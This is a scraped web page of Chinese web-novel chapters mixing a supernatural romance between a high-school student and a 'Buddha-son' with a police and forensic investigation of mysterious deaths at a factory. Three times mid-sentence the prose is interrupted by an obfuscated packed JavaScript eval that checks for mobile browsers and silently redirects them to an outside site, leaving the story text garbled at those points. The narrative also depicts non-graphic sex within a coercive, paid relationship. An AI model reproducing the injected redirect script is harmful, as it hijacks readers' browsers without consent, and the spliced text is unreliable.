罗爱曜尝试性地招手,让施霜景别杵在墙边了,碍眼。没想到施霜景真就老老实实走过来,罗爱曜刚一伸手触碰,就发现施霜景佯装镇定,实则肌肉紧张得厉害。没办法,今天这教训必须要让施霜景吃,要让施霜景打消一些不可以有的念头。 “郎放说你有资质做明妃体,这话也是没错的。双X很难有,越难得的东西就越是珍贵,也就有成为不凡之物的潜力。” “佛子,想做就做,做完你继续睡觉,我还想吃早餐。” 这是施霜景得出的结论。他反抗过了,之前用砸了两次佛像算不算反抗;也被找理由上过了,给佛子理由就是自己的蠢笨,以后不可再犯,但犯了也没有别的办法;今天是施霜景彻底知道,条条大路通上床,那就做吧。不做会被掐脖子。罗爱曜还想碰他,那干脆一开始就走这条直路就好,何必弯弯绕绕。 施霜景脱上衣,想了想,干脆裤子也脱了。其实他也不觉得“明妃体”是什么很坏的东西。名字很好听,听起来很珍贵、有用,刚才佛子的话其实是说明,他好像连做明妃体都不配。郎放没说错啊,他是佛子的X伴侣。和祭品比起来,还是X伴侣比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427274|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较好听吧,至少从东西变成了人。 想完这一切,施霜景面上一点也不显。他有苦练此功,被人羞辱或者瞧不上的时候,就要摆出一副不在乎的脸色。 罗爱曜看出施霜景心里有怨,心里攒着火气在做这些事,罗爱曜倒没什么情绪,只说:“你穿衣服吧。” “你不想做?” “我想,但是做完你会更不愉快。”罗爱曜的蓝眼睛不论什么时候看都很澄澈,看什么也都很澄明洞察,“我想想,是我掐你脖子让你害怕了,你想不明白我们的关系,知道我喜欢这套,就用这套来哄我,想早结束然后放你走。我可以说我的结论——我不放你走。和你做或者不做只是拖延我去找郎放的时间而已。惩罚你没用,把他送走就好。” “你的废话真的很多。” “你真是一句也不求我。” 罗爱曜还是决定先吃再说。刚才那么好的氛围,本想放手之后趁乱吃一下施霜景,但那一瞬施霜景的心力全泄掉了,罗爱曜用人身来找施霜景的原因之一就是,心力涣散的施霜景还是不够美味。现在施霜景还难过呢,可心里顶着一股劲,所以罗爱曜又可以享用了。 白天做也比晚上做有意思。施霜景的英俊很有冷感,眉眼气质自带疏离,跟他的网名很匹配。骨量大,体型饱满,有着和脸不相称的欲,是那种白衣裹身、潇洒来去但脱衣应是多情的剑客感。还是一剑霜寒这个网名带来的想象。 “真正的明妃体,可以借助与僧侣的结合,在这里聚起拙火。你想不想试一试?” 施霜景双臂交错,一个大大的叉。不要再和他讨论什么明妃体不明妃体了,家里好冷,施霜景好想进被窝。 好在一会儿就有热热的身体贴上来了。施霜景抱到佛子,肌肤相亲,那股奇异的心安感再次涌起。施霜景想,他以后要是在上床的时候被罗爱曜杀了也不奇怪,是施霜景主动要去拥抱一个混蛋的,好像怪不了任何人。 *1:焰口仪,密教中常见的佛事活动,是为超度饿鬼道,后来也用作对特定亡者的超度与回向功德。 *2:童行、试经度僧,在中唐时期,大约十五岁以下的年轻人,当有出家的念头之后要获得父母的同意与许可,才可登记为童行籍,进行较为初级的经法学习。通过考试的童子才能得到官方(尚书祠部)交付的度牒,也就是出家资格的证明。在剃度和收到度牒之后,才可以入寺成为僧尼。所以在唐朝当合法和尚其实也要经过大考的。 *3:不空三藏:唐代密教祖师,开元三大士之一,广译显密经典,具体的百度百科写得很清楚,感兴趣的可以自己去查。 *4:罗睺罗,释迦牟尼佛的儿子。罗爱曜的姓是这样借过来的,说明他当时就已经受其他大士的认定,佛子那个名头是从罗爱曜还算“人类”的时候就开始用。 30.鬼子母神篇(六) 这晨间运动搞了一个多钟头,施霜景缩进被子里,玉米在挠门,罗爱曜摆弄手机,没过两秒,他竟然开始打电话。 “柳闻斌,你今天来励光厂的时候顺便带几盒BY药来。” 施霜景听见电话那头在问罗爱曜,想要长效还是短效的……屈辱,早知道不提了。还不如施霜景自己偷偷买呢。而且施霜景自己也不大记得吃BY药的副作用了,刘茜提过,可惜施霜景的记忆力就那样。唉! 挂断电话,罗爱曜冷不丁问一句:“如果郎放找你,你要怎么做?” “……什么都不做。不要跟陌生人说话。” 罗爱曜心情好了,继续摆弄手机。 忽然一个发着光的电子屏被递进了被窝里,施霜景虚起眼睛。是银行转账界面。 谁的?佛子的?施霜景先看见余额,吓了一跳,妈呀,这是活期吗?也就是说这么多的钱都是随意取用的?被子外传来声音:“你自己输一个数。” 施霜景下意识挠了挠眉毛,呃……这很难想,他隐隐约约知道这是某种金主行为,但自己给自己定价其实是很困难的事。纠结再三,施霜景输入了一万块,说:“好了……” 罗爱曜看见这数字,只抬了抬眉毛,多加一个零,付款。多加一个零的感觉就是有点过火但不大过火。就算施霜景输入十万、一百万、一千万,这种往后补零的行为也够罗爱曜做很久很久。他有钱。 施霜景在被窝里不知不觉又睡了一个多钟头,醒来时肿着屁股,他去衣柜里摸出自己的手机,看见进账十万的短信,好像有点感慨,但好像又对钱有点麻木了。都是那串长长的余额给害的。 施霜景随意套上T恤,清理地板,洗澡,出来打开冰箱,吃食盒的饭菜。罗爱曜在客厅东瞧瞧、西看看,好像终于找到了什么,他结手印,念着听不懂的语言,处理完之后他对施霜景说:“室内有一个‘风洞’,好像是自然存在的,有时你在客厅里捡到本来不可能吹进来的东西就是因为这个风洞的存在,郎放也是借这个风洞来传的信。” 原来上次的白色冥钱也是这么来的。这么一说,好像家里时不时会多出些叶子啊,花草啊,其实都不可能从铁丝网中穿过,施霜景为了保护玉米,用的是很密的铁丝网。原来它们都是从风洞进来。 柳司机这边遇到了些麻烦。他正和刑警交谈着,接到佛子的电话,让刑警不小心听见佛子问BY药的事。其实柳司机就在励光厂,才刚来,这BY药还得回城里的药店买呢,佛子要用的东西怎么也得是进口货。 “抱歉啊谭警官,我们刚才说到哪儿了?” 谭鸿信在一行字下划上一横,“有好几位老人的遗体当天就火化了。” “对,对的。家属说,老人刚走就给全家人托梦,让家里尽快火化身体。如果只是一两个家属这么梦见也就罢了,有些是一整个家族都做这种梦。哎,是挺吓人的吧,我们也理解,我这两天光待火葬场了。” “这些家属都在做梦?醒来也都还能记住这些梦?”谭鸿信的语气里有明显的不信任,“而且死亡证明这么快就办好了?这些老人大多都是在家过世,要先由医院出具死亡医学证明,可这是非自然死亡……” 柳司机打断谭鸿信的话,他说:“这几位可都是最先过世的几位,家属送去医院的时候都还不知道其他家也发生了类似的事呢,医生也检查过了,排除了非自然死亡的原因,大部分都是心脏骤停或是其他的急病发作,一下就走了。” 谭鸿信见多了这种操作不规范的事,现下只有他一个人来调查,先记录关键信息,能套出信息来才是最重要的。于是谭鸿信话锋一转,问道:“D市那么多家殡葬公司,你是怎样一口气揽下好几单的?忙得过来吗?” 柳司机手里的玻璃杯焖着一壶熟普,他刚刚才找店老板往里头续过一道热水。谭鸿信约柳司机去厂里一家农家馆子谈话,没办法,像这样的旧厂居民区没有什么方便聊天的公共区域,请柳司机去派出所又太夸张。大下午的,农家菜馆的老板娘撑着脑袋在一旁刷抖音,谭鸿信和柳司机面前摆了几道吃得差不多的菜,不让人撤,也没法再吃了,油脂冷却之后散逸出令人发腻的腥味,不过谭鸿信和柳司机都不在意。 柳司机老神在在道:“小伙子,这年头有生意谁不做啊?我之前就来励光厂服务过。厂里老人多,我又会适当宣传宣传,你以为这些灵棚、花圈、纸钱、活动桌椅不需要找结实的好货吗?流水席和亲属葬仪培训都是我们来准备!这些老头老太太……要不是现在不兴土葬了,做棺材都能排着队一起下单,老年人真没你想象中那么避讳这些事。我家物美价廉,又一直做这项服务,做到我这儿是第三代,家族小企业,兢兢业业不就是多为了纳几个税。” 这灵车司机嘴巴真是叭叭个没完,可惜一点关键信息都没有。谭鸿信倒不是将殡葬服务从业者列进嫌疑人的前排名单,按流程走他们不是最先被怀疑的对象。重点是家属。调查案子往往都是从最反直觉的路径开始,老婆死了便调查老公,小孩死了就调查父母。 “手续、程序合不合规,之后我们会调查。家属和你们沟通葬礼的反应如何?” “想不通的居多吧。有些家属住得也不算远,周末都开车带自己的小孩过来看望老人。老人说走就走了,他们心里肯定受不了。找我的这几家都属于是被梦吓着了,不过反应最大的还是……呃,有一家的家属还和老人住一块,姓王的那家,儿子在厂里当高级钣金工,老婆孩子也都在厂里。就这种情况,老人还能在家里离世,他家反应最大。” 谭鸿信脑子里装了快四十户人家,这一下子还真没法马上提取出信息,大概有个模糊印象,于是在旁边用代号王A来作标记。“他家什么反应?反应有多大?”谭鸿信问。 茶叶在玻璃杯里焖得差不多了,柳司机旋开盖子,抿一口热茶。他受佛子的照顾,不管佛子能不能知道、受用不受用,柳司机还是要做些恶劣行径,开始拉人下水:“警官,我是做这一行的,对于一些事情,不管你们信不信,反正我不信也得信。这客户一家都说老人走的前一夜里,全家都看见脏东西,第二天大家上班上学也都在讨论这件事,不止他家看见。老人走了立马托梦,这家的男主人吓得不轻,给我塞钱让我把他家老头的火化位次挪到最前头。这还没完,听说他家请了人过来处理,是个成年男人,带个小女孩。”柳司机随意比了个手势,像老港片里收妖道士的掐的手诀,意思是请了这方面的“专业人士。” 又有新信息出现。脏东西?什么脏东西?是谭鸿信调查、询问的厂里人还不够多吗?为什么没人提?谭鸿信又追问,柳司机说不出个所以然来,他又不住厂里,只是隐隐约约知道有这么号人。末了,柳司机还说:“警察同志,现在还是要讲究一下破除封建迷信,如果有人来厂里骗钱,你要注意一下,保护人民财产安全!” 谭鸿信额头挂黑线,柳司机翘着二郎腿,和他接施霜景去酒店时的收敛靠谱完全相反。他也是出来卖的,没两斤二皮脸就没法做生意。厂街上荡着薄雾轻烟,黑色的加长灵车靠路边停,柳司机还得去买BY药,开灵车给佛子不知道哪来的未来小孩送葬——这笑话又冷又大不敬,柳司机有练过,面上不动如山。 “来吃饭吧,我给你们打包了炒饭。” 谭鸿信给林鸣打电话,在厂区医院已经关闭的门诊部等他。 他们昨天到达励光厂,林鸣一来就进了厂区医院太平间,他没带助手,励光厂派出所借了一位年轻辅警来替解剖过程拍照留证。挑辅警的过程就挺麻烦,因为励光厂自有它的封闭性,派出所里的许多编内编外人员都是厂里子弟,林鸣特意要了一个外地的辅警,以免解剖到熟人会带来情感上的冲击。这辅警是第一次接触这种场面,硬着头皮干完了一个下午,晚上说什么也不肯再来,林鸣没办法,只能连夜问自己的学生,今早林鸣的大徒弟于星赶来,两人配合得当,做工做出了心流,下午这个点才吃午饭。 林鸣和于星一前一后从楼梯口出来,于星甩着手臂,她举了好几个钟头的单反。林鸣把外卖盒揭开,先递给于星,再给自己开。两人坐在门诊部的连排塑料椅上低头猛吃,都不说话。门诊部空荡肃杀,说话声将会被放大,谭鸿信本来想抓紧时间分享信息,但一开口总觉得室内回音的状态像有东西在隔空学舌,怪怪的,于是谭鸿信只能默默等他们吃完。 于星这姑娘吃饭特别快,林鸣才吃到一半,她就已经端起饭盒往胃里倒最后几粒米了,吃完还说:“是错过饭点所以特别饿吗?怎么感觉肚子还空空的?” “你们还差多少?”谭鸿信问。 于星比了一根手指。总共有四位老人,昨天解剖了两具,今天白天一具,还剩最后一具。 “虽然微生物检测的结果还没出来,但应该可以排除传染病。”林鸣开口,“有两人是急性心肌梗死,一人是缺血性脑卒中。虽然死亡时间都在周四,但具体时间各自不同。昨天的解剖比较常规,我没有特别多的感觉,但刚刚解剖上一具尸体时,我突然发现了一件事。” “然后我们返工了。”于星补充道。 林鸣点点头,用筷子又往嘴里拨了几口炒饭,谭鸿信急得不得了,林鸣却连吃几口不回话。眼看谭鸿信要催了,林鸣才继续道:“这三位的死因都是血栓堵塞,只不过有些发生在心脏,有些发生在脑部。昨天解剖时,我没有具体关注血凝块的形态,但我今天发现这些血栓的形态好像有点奇怪。我们解剖时一般只会保存具体病变组织 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15427275|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样本,血栓只是作一种死因确认的材料。我返工的效果不大好,只能尽量试试看,但今天解剖的这具尸体中,有提取到形态比较完整的血凝块,一会儿你上楼,让于星把显微镜照片给你看。” “老天爷啊,你不知道他们的病理实验室是多久没开张过了,我好不容易才找到一台能用的显微镜!”于星抬了抬眼镜,“不过我们今晚应该就能收工,谭警官请我们吃什么?励光厂有什么好吃的吗?” “有,你们几点收工?” “晚上十点吧。”林鸣道。 “那这就有点晚了啊,厂里有私房菜馆子,可以打电话预定,但我不确定他们还会营业。”谭鸿信说。 “没关系,回招待所吃面也一样。” 林鸣和谭鸿信都被安排在励光厂招待所下榻休息。励光厂是国营航天厂,但上个世纪末工厂改制,各个国营厂迫切地需要自己养活自己,航天厂也不例外,只能往外寻求订单。客户们来励光厂总不能当天来、当天走,这样做不成大生意,所以励光厂修建了一家档次不错的招待所。 吃过饭,三人上楼,于星领他们去病理实验室看样本。谭鸿信看见了相机拍摄的样本照片,登时毛骨悚然。 “这血凝块怎么长成这样?像个叉……”谭鸿信道。 林鸣说:“你看见的形态主要是由纤维束组成的。要看细节得染色,这边的病理实验室实在没有条件,我们要带回市局再看。” 此时于星忽然道:“是×吗……?不觉得末端都有点带拐弯吗?” 病理实验室的三人都不说话了。谭鸿信这时缓缓掏出自己的笔记本,他刚才没有故意把话题往这方面引,因为调查需要独立的信息线索。但于星这么说了,他很难不顺带着端出刚才他调查王姓工人的成果。 “不会做。” 施霜景把卷子摊开来,向佛子摆烂。各科都有卷子,施霜景是理科生,也就是说他这周末的卷子有六张,语数英,理化生。施霜景磨蹭着把语文卷子写完了,英语乱填,生物勉强可以写两笔,数学、物理、化学都是蒙选择题,大题空着,三科烂得很平均。 老实说,施霜景一点都不信佛子能送他上大学。首先要否掉施霜景智商突然上升的这个可能性,就算施霜景可以开智,可事事都有代价,万一施霜景开智半年、考上大学,在入学的第一个月就发现脑癌怎么办?其次,施霜景已经在过他的第一轮复习了,他恐慌地发现,一两年前听不懂的知识,高三了依旧听不懂。他的很多同学会抓住高三复习的机会重学一遍,有些人能开窍,可施霜景是不开窍的类型。他真的来得及吗?他的脑子就跟糊住了似的,看见题就犯晕。这个周末施霜景过得格外轻松,不用打工,有空写作业。他往桌前那么一坐,就对自己的耐心感到绝望。有时他连题都没有耐心读,也不知道为什么会考这些东西。 佛子翻看一张张卷子,将烂得很平均的数理化三科挑出来,“这些,你需要从头开始补,知识并不直接浮现在书里,需要拆解、重组。你要理解这些过程,才能识别出来做题所需的知识。” 然后,他挑出英语,“你对这门语言一窍不通,你中考英语多少分?” “呃,有六十多分呢。满分一百二。” “但你这张卷子并没有表现出这样的素质。” 施霜景不敢再顶嘴了。 罗爱曜拎起语文卷子,也放到了另一边:“这是你还算有自信的科目,之后再谈。” 留到最后的竟然是生物,罗爱曜敲敲桌子,“把你的生物书拿来。” 施霜景将几本生物教材捧过来,罗爱曜那儿其实有一套全新的,他之前浏览过了,现在佛子又翻了翻施霜景的生物书,看到了满满的笔记,暂且不论正确和错误,罗爱曜道:“背吧。卷子上的题都能在书上找到答案,再直接不过。你把生物书当语文书一样背,每天晚上十点,我会检查你背生物、语文和英语的情况。” “这三门你完全没办法下手的科目,我会和你一起从头学。我的进度会比你快,但你不用着急。我会全部学一遍,确保你要问的问题我都碰见过。”罗爱曜对那三张几乎空白的数理化卷子竟然很宽容,说的话也很宽容。施霜景有点不知所措了。 “不要再去打工,学着花别人给的钱。你和我上床,这是你理应得到的。” 好直接的理由。施霜景从来没见过有人又当金主又当家教的。的确不能要求他分担家务,哪个金主还做家务啊?施霜景忽然很为自己在床上抱怨的那些话感到后悔。 “如果知道了,那你就去做饭吧。晚上我不能再吃面了,做点正经菜。”佛子将桌上的卷子整理好,推到一旁,放上自己的电脑,他理所当然地抬头望向施霜景,眼神竟然还挺诚恳。 31.鬼子母神篇(七) 当夜。 林鸣和于星下工的时间比他们预计的还要晚,将近十一点才从厂区医院出来。冬日里持续时间如此长的雾天很少见,但考虑到励光厂在多山的地区,形成的大概是谷雾。在这种天气下,开车不如步行。从厂区医院走到励光厂招待所大概九百米,距离不短,雾里的厂区仿佛四面八方传来细微声响,似人声又似风声,不过有谭鸿信一起走,两个阳气十足的大编制警察带一个八字阳气重的预备役女法医,倒是没什么可怕的。 “明早于星把血凝块标本带回市局做化验,结果出来马上发给我。”林鸣交代道。 “林老师不回市局?”于星问。 “我打算多留一天,再做做死者们的病史调查。可能因为时间的缘故,励光厂派出所做这些调查做得很潦草,医院那边的调查我看了,但这就当我自己抽样,做一下调查结论的三角测量。” 于星比了个大拇指。林鸣的业务水平真是这个。她这老师别的不说,严谨程度一流。可惜林鸣在市局混得并不好,人嘛,刚者易折,不然也不会让他老往外跑这种吃力不讨好的案子。 三人有一搭没一搭地聊着,故意没有提下午时他们从谭鸿信那儿听来的故事。说是故事,是因为大家都不愿意相信这儿真的发生了这些事。这不是瞎胡闹么,但凡谁信了,这案子都调查不下去。 “我说一下今天的调查内容,你们就当开工前的放松,随便听听,我争取很快讲完。这周三凌晨,励光厂这边下了一场雷雨,雷电动静很大,半夜有些居民就惊醒了,可就在那时,他们有些人看见了一些怪东西。我做调查的时候根据他们的口述画了图,向居民确认过,是这样的形态。这确实像于星说的末端带拐弯的×,但这不是什么血凝块,好像是活生生的东西,趴在窗户上,体型不小,我预计着都有身高一米六至一米七的成年人体型。” 于星惊讶地打断道:“这么大?这不把人吓疯了?这比单扇窗户都大了吧?趴在哪儿?窗户上?防盗栅栏上?我靠……” “嗯,反正不管是趴在窗户上还是栅栏上,就是你躺床正睁眼时能看见的地方。有些居民当做没看见,或者以为自己在做噩梦,当晚没有做出什么反应;但有些居民……晚上有些冲动了,开灯去窗边察看,这些叉人……嗯,我们先暂时称它们为叉人,这些叉人一点都不怕居民的靠近,你一开灯反而看得更真切,到头来没几个人敢真的开窗。一家人并不是都见到了这些东西,毕竟一家有两三间卧室,朝向各不相同,第二天早上起来,居民在家提起这件事,其他人都以为是他们做噩梦、撒癔症,是直到他们去上班、上学,听到其他人也在交流此事,互相才确认前一天不是错觉。 “因为这事一天之内在厂里传得沸沸扬扬,到后来你根本分不清哪些人是真的见过了叉人,哪些只是听别人说然后自己假装也见过。好,现在我缩小一下描述范围,那些死者。我先强调一下,所有的死亡都在周四以后发生,最早都是周四凌晨。也就是说,尽管全厂在周三凌晨见过了这些怪东西,但周三一天都相安无事。我们的线索实在太分散,你们是法医,这几具尸体上有线索,我就得去排查那些为什么连尸体的线索都不留给我们的家属。 “我排查到一家王姓钣金工人家,我简称他老王吧。老王说他家老头周三凌晨看到了趴在窗户上的叉人,大半夜吓坏了,闹出了些动静,把一家人都吵醒。所有人都进了老头的房间察看,想知道到底发生了什么,然后就看见了窗户上的叉人。他家有防盗栅栏,叉人整个贴在防盗栅栏上,场景非常恐怖。老王是家里的壮丁,一家老婆孩子老人都吓傻了,他觉得这东西不可能是活的,就打开窗户,用晾衣杆去捅叉人。叉人的脑袋贴得很近,有点像我们把脖子往前耸的姿势,所以叉人的五官可以看得很清楚。老王用晾衣杆捅叉人、试图将它弄走时,老头忽然大叫起来,冲上去抢儿子手里的晾衣杆。老王以为老头是不让他对这种怪物动手,结果老头自己像发疯一样,使着晾衣杆猛捅叉人,有几下连血都捅出来了……只有一只叉人,对,就像于星说的,它们的体型对窗户来说还挺大的,每家确实只有一只叉人会停留在窗户上。老头凶狠地捅了叉人好多下,叉人的尖叫声混在雨声、雷声里,给这一家人留下了极其恐怖的心理阴影……后来受伤的叉人走了。嗯。老头自己把窗户关上,后来还回去继续睡觉了。” 谭鸿信说完这一大串,忽觉口干舌燥。他已经消化过这个故事了,可眼前的两个人才刚接触这些信息,表情都非常精彩,精彩地难看。大冬天,没有空调的病理实验室,心里那个拔凉啊。 “……血,那个,可以拿来化验一下……”林鸣打个寒颤,冷冰冰的法医面具露出几丝裂痕,“请问这是什么恐怖游戏剧情吗?”别看林鸣这样,他是个纯种游戏宅男,打着《暗黑破坏神》和方块人3D游戏长大,有射击类也有早期的《生化危机》系列。 “那根晾衣杆已经烧掉了。” 林鸣露出了又可惜又安心的表情。 谭鸿信忍住渴意,继续说:“星期三白天的时候,老头还跟没事人一样,老王的女儿和老婆吓得不行,他老婆想带女儿回娘家住几天,老王不允许,他不放心老头一个人在家。周四凌晨一点过,老头正上厕所呢,突发心脏病走了。当时厕所关着门,一家人都睡了,而且就算没睡,家里也没人会催促老头,因为老头喜欢在蹲厕所的时候看报纸,一催老头,老头就说自己越催越便秘,所以他家人习惯老头霸占厕所了。凌晨的时候老王被叉人吓得不行,周三晚上他就出去喝了点酒压惊,差不多正好一点过到家,看到厕所灯亮着,他进各个屋子确认了一下,猜到厕所里的人是他爸。老王喝了酒多尿,等了好一会,老头还没出来,老王就敲门问他爸是什么情况,老头没回话。老王心里忽然有些不安,就把门踹开了,看见老头裤子都还没提起来,人倒在地上,已经不行了,脸涨成紫红色,满脑袋都是汗。” 这符合心肌梗塞刚发时的表现。林鸣点头。 “那时候还是深夜,人出了这种事,老王马上联系医院,一家人肯定都没得睡。他们一直折腾到天亮,老王找殡葬公司,一家人抽空会轮替着眯一会儿。最先被托梦的是老王的女儿,她只是打了个盹,就梦见爷爷让她跟老王说,要尽快把尸体火化,他怕自己还没去地府就已经‘没了’。据老王女儿说,爷爷当时的表情很吓人,直接把她吓醒了,说爷爷的眼睛外凸着,感觉眼睛都要掉出来一样。后来老王夫妻俩也被托梦,老头急得很,说话也说不清楚,好像连普通话都忘记了该怎么讲,用的是老头早年间还没进厂工作时说的土话,就连老王都不怎么听得懂。既然他爸这么急切地向一家人托梦,老王不敢不听,赶紧塞钱给殡葬服务公司,让他们想办法把他爸加塞火化。按励光厂的地理位置来说,还是送去D市的火葬场比较方便,但D市只有两家火葬场,要消化D市这么多死者,所以殡葬公司就把老王送去隔壁地级市的火葬场,可算是排上了队。” “如果这些死者都往D市的两家主要火葬场送,火葬场那边也会发现有不对劲,可能会再次上报。”林鸣说。 谭鸿信深吸一口气,这一故事算是告一段落,“其他人……和他家的情况大差不差。但现在不行了,励光厂派出所正在调查这个案子,尽管还没有立刻定性为刑事案件,但疑点非常多,所以励光厂的这些死亡老人暂时都还留在殡仪馆里,不允许火化。我有想过要不要去老王家试着提取一下叉人的‘血液’样本,你们说呢?” 于星举手。她怕,但她也很兴奋。可林鸣很犹豫,他不让于星去,也不让谭鸿信去,问他为什么,他也不回答。 三人回到招待所,林鸣和于星泡泡面吃,谭鸿信吃过晚饭了,可看到泡面,谁又能不整上一碗呢?于是三人一起泡了泡面,交换了一些信息,这就洗漱准备睡觉了。三个人分成三间住,可白天时谭鸿信讲了调查的故事,于星表现出强烈的不安,犹豫了老半天,终于开口问道:“林老师,那个……我,呃,我真的有点害怕,我能不能……” “不能。”林鸣啪嗒啪嗒地打字、写报告。 “要是我们能再来一个女刑警就好了,呜呜。”于星说。 “没事,你去睡吧,我们就住隔壁,不会怎么样的。”谭鸿信说,“你要是实在害怕,睡前找人挂个微信电话,让对方听着,你睡觉。” “对方要是和你有时差就更好了。”林鸣补充道。 “……我到底是从哪里找这种打电话的对象啊!!”于星埋怨完,默念着自己八字很硬,同手同脚地回了自己的房间。 等小姑娘走了之后,谭鸿信开始第二轮的信息传递。 “其他居民那儿也有故事想说给我们听。我下午去打听了一圈……你知道这个厂的老人构成其实分为两类吧?” “哪两类?”林鸣问。他累懵了,原本记得的信息也都不记得了。 “一类是三线建设时期外省过来支援就留下的工人,一类是从本地招来的工人。”谭鸿信顿了顿,“所有的过世老人都是本地工人,很多人的家乡就在励光厂原址,要么就是附近的村镇,总之很近。” 林鸣无情评价道:“我觉得你现在的思维陷入了误区,像是已经被这个故事给迷住了。” 谭鸿信:“反正都这个点了,脑子也正经不起来,你就听我讲完。我从其他本地退休老工那儿听说……周三那天,大家不是很多人都受了惊吓么,老人白天去打牌、运动的时候互相聊天,有第二天会过世的老人提过,说见到鬼了。其他人不知道过世老人说的‘鬼’是什么鬼,如果只是叉人,大家很多人都见到了。那个过世老人说,趴在窗户外面的是爸爸,但老人想了想,一会儿又改口,说长得像妈妈,都像。叉人的脸陌生又熟悉。” 谭鸿信:“过世老人没有个确定的说辞。这样,我把这位第二天就过世老人称为X,这时另外一位和X从小就认识的老人Y说,你看到的怕不是你姐姐。X说,我哪来的姐姐,我家里就只有哥哥和妹妹。Y说,那时候你都还是个奶娃娃,你妹都还没出生。X有点生气,就追问Y,说你难道比我还了解我家有几号人?Y不说话了,懒得和X吵。” 林鸣:“你去私下询问Y了么?Y还活着么?” 谭鸿信打了个响指,必须的。“活着。Y说,他原本不想告诉我这回事,觉得这段历史太黑暗,不好开口。虽然已经死无对证了,但总归是很不光彩的家族史。他们这代人几乎都出生在饥荒前几年,甚至就在饥荒年间。Y的年纪比较大了,X刚出生的时候,Y差不多已经是我们上小学的年纪。那时候励光厂还叫莫新村,如你所见,S省是盆地,山多,励光厂附近只有小片的水田可以用来种植,总之当时的粮食产量情况非常差,当年莫新村闹饥荒闹得非常厉害。” “有个传说不知道是从哪儿开始的,但那时所有人都被逼得没办法了,只能信其有。励光厂有一条环山路,我们平时很少开,因为这条环山路的设置有点怪,总之利用率不太高,但在这条环山路停下,我们肉眼就能看到一个山壁上的洞口,Y说这是他们村以前最灵的鬼娘庙。别的细节我说了你也记不住,我就说最关键的。饥荒年间,听说往鬼娘庙里送家里的小孩当祭品,家里其他的孩子就可以免受饿肚子之苦。” 林鸣听得头疼,忽然叹息一声。怪不得谭鸿信要等于星走了才讲这深层的故事——就林鸣对人性的了解,这些送去当祭品的孩子……唉。 “家里有残疾孩子的就送残疾孩子,都是健康孩子的就送女孩,都是女孩或者都是男孩就送最小的、还没养成什么感情的。不送大孩子纯粹是因为不划算,大孩子已经能帮忙照顾家里或者一起出去寻找食物了。Y说,他家没有送孩子去,当然,因为他家当时就两个孩子,即便是一起饿肚子,有食物的时候也还能匀得开。但有些家庭……唉,不好说,有听说送孩子去当祭品就能全家吃饱的人,于是只有一个孩子也送去了,也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你说过,但我还是要确认。”施霜景想,这跟上班的道理很像,老板可以觉得他说的话你要马上记住、马上应用,可这个应用的场合不由施霜景来定,拿不准就得问,因为一旦犯错,老板只会更生气。 既然罗爱曜这么说了,晚餐时施霜景炖了牛腩,放了白萝卜一起煨着。这一锅牛腩炖得很香,施霜景原本都定好了菜单,可眼见牛腩汁水越来越浓稠,干脆就煮火锅好了。施霜景想了想,竟然自己开始做蛋饺。他想吃蛋饺了。和罗爱曜共处一室仍会尴尬,待在厨房反倒安心。施霜景自己剁馅、调馅,用铁勺做蛋皮,一个个蛋饺交叠摞着,施霜景下意识哼歌。哼了几句才想起家里还有其他人,又闭嘴。佛子觉得他唱歌难听,唉,天知道佛子的品味会不会有问题。这和施霜景唱歌的水准关系不大,说不定是古代人听不惯现代歌呢? 晚餐上桌,施霜景家里没有煮火锅的锅子,只能煮好了端上桌。施霜景越看这牛腩锅越满意,食盒里的祭品菜色都不香了,施霜景问:“佛子,我自己做的菜,我真的不能吃吗?” “你只能吃两口,以祭品为主。” 施霜景夹了三个蛋饺,又舀了两块牛腩、两块萝卜,用小碗盛着,好可怜。“那我什么时候能不用再吃祭品了?”他又问。 “你现在还很容易被一些低劣的咒语或者法阵影响,吃祭品吃到你不再会被影响为止。” “……” 听上去你还挺为我考虑咧!施霜景想,你都这么厉害了,不能想想别的办法吗?但还是那句话,唉,他是金主,他没必要。 罗爱曜吃饭的姿态很斯文有礼。他端着碗,面前的白砂锅蒸腾热气,施霜景还摆了盘,让蛋饺环列在牛腩上层,这幅场景很美。白色顶灯其实会让人看起来很灾难,但罗爱曜神情放松,再灾难的光影竟然也只会照出他的好心情。罗爱曜罕见地露出些欣赏神色,和他吃面、吃麻辣烫、吃祭品时的表情都不一样。施霜景忽然觉得罗爱曜也还挺……挺好打发? 